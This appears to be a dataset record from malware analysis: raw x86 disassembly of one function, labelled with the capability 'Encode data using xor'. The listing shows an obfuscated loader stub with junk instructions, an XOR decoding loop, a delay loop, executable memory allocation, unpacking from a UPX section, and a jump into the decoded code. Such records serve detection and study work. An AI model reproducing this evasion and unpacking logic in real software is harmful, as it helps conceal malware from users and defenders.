Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xdccdda13
mov ecx, 0x157b714c
add ecx, 0xd40f4cd2
popal
sub ecx, 0x3920690e
dec ecx
mov eax, 0
mov edi, ecx
not edx
add edx, 1
mov esi, 0x745e904f
mov ebx, edi
dec edx
add edx, 0x39d31232
inc edx
mov ecx, ebx
add edx, 0xcadcb004
mov esi, edx
not esi
inc eax
and esi, esi
mov esi, edx
add edx, esi
cmp eax, 0x100406f
jne 0x47b452
or esi, edx
sub esi, edx
add esi, 0x96cffc8
sub ecx, ebx
add ecx, 0x6cd16240
mov edi, 0x47b21e
sub eax, 0x7488544
inc eax
add eax, 0xc9ff4c25
mov edx, 0x47b412
inc eax
sub esi, 1
not eax
mov ebx, dword [edi]
or esi, ecx
add ecx, 0x54f7226
dec eax
and ebx, 0xff
sub eax, 0x88816e99
sub ecx, eax
and esi, eax
xor dword [edx], ebx
add esi, 1
sub eax, 0xb05334c7
mov ecx, esi
inc edx
not ecx
not ecx
inc edi
or esi, ecx
sub esi, eax
cmp edx, entry0
jl 0x47b4bc
or esi, esi
inc ecx
add ecx, 0x1aba26dc
and ecx, ecx
and ecx, eax
add ebx, edx
or esi, edx
mov ecx, 0x47b416
add edi, 0xf8b8a761
sub edi, 0x95abd7cf
sub ebx, 0x72c97e7e
mov ecx, dword [ecx]
or ebx, ebx
not ebx
or esi, ebx
mov ecx, dword [ecx]
not esi
not ebx
sub edx, ebx
sub esp, 4
mov dword [esp], ecx
mov ebx, edi
sub ebx, edi
mov ecx, 0x47b412
and edi, esi
sub ebx, esi
mov ecx, dword [ecx]
mov edx, edi
and esi, esi
mov ecx, dword [ecx]
and edx, edx
and ebx, ebx
push 0x47b41a
sub edi, 0xc0a9d34f
mov edi, 0xd0fc58c
add edx, 0x4408c0b0
call ecx
add edi, edi
mov ebx, edi
mov edx, ebx
mov ecx, dword [esp]
add esp, 4
add esi, 0x13d0dbc7
mov ebx, esi
push 0x47b427
dec ebx
or edx, edi
push eax
dec ebx
mov esi, 0xa9aaa9e3
call ecx
not edi
mov ebx, 0xee5940ba
dec edx
push 0x40
mov edi, 0xc9229d5f
add edx, 0xbc1a1756
mov edx, ebx
push 0x3000
add edx, ebx
dec ebx
push 0x200006c5
inc esi
sub esi, 0x72986c82
push 0
dec edi
add esi, 0x6d2caca6
call eax
dec ebx
not edi
add eax, 0x20000623
mov edx, 0x965dd97f
add edx, ebx
mov ecx, 0x1fe53e39
inc ebx
mov edi, 0xd69f54b
add esi, 0x37c330d4
mov dword [eax], ecx
sub ebx, edi
sub edi, 0xeb748820
mov esi, 0x8653292e
mov ecx, dword [eax]
add edi, 0xa403f529
add esi, 0x626a0b0d
cmp ecx, 0x1fe53e39
je 0x47b61a
mov edx, 0
mov cl, byte [edx]
and esi, edi
add edx, edi
not edx
add esi, 0xe77fb9fb
and edi, edi
dec ebx
add ecx, 0x2b049375
mov edx, section.UPX1
mov ecx, ebx
mov ecx, 0x891da14c
mov edi, 0x47b21d
dec ecx
or ecx, ecx
dec ecx
mov eax, 0
sub ebx, ecx
mov ecx, 0xd885aa8
add ecx, ebx
mov esi, 0x47b21e
sub ecx, ebx
mov ecx, ebx
lea esi, [eax + esi]
add ecx, 0xd70acc64
sub ebx, ecx
and ebx, ecx
mov esi, dword [esi]
not ebx
sub ecx, 1
and esi, 0xff
and ebx, ecx
not ebx
inc eax
add ebx, 0x5f6894f2
mov ecx, 0x872a896c
cmp eax, 0x1f4
jne 0x47b695
mov eax, 0
mov ecx, ebx
add ecx, ecx
sub ebx, 0x868e2652
and ebx, ebx
xor dword [edx], esi
mov ecx, ebx
add ecx, 0xd071fe9f
dec ebx
add edx, 2
sub ebx, 1
inc ebx
cmp edx, edi
jl 0x47b652
sub ecx, 0x4f685d45
and ebx, ebx
or ecx, ebx
and ebx, ebx
dec ebx
mov edi, section.UPX1
mov esi, 0xf709dfe0
not ecx
or ecx, ecx
mov ebx, section.UPX1
sub ecx, esi
sub ecx, 1
and esi, ecx
mov edx, 0x47b21d
sub ecx, 0x1aa890a0
mov esi, 0x8ae20d43
inc esi
mov eax, 0
and ecx, ecx
dec ecx
or ecx, esi
mov al, byte [ebx]
and esi, esi
sub esi, ecx
mov byte [edi], al
mov ecx, 0x9fb50c82
and esi, esi
mov esi, ecx
add edi, 1
or esi, ecx
and ecx, esi
add ebx, 2
sub esi, 0x54a94cce
sub ecx, esi
mov ecx, esi
cmp ebx, edx
jle 0x47b706
dec ecx
or ecx, ecx
add ecx, esi
add ebx, 0xb1252a6d
not ecx
sub esp, 4
mov dword [esp], 0x45e6a0
sub ebx, ecx
mov ebx, 0x52ee7bcd
mov ecx, ebx
ret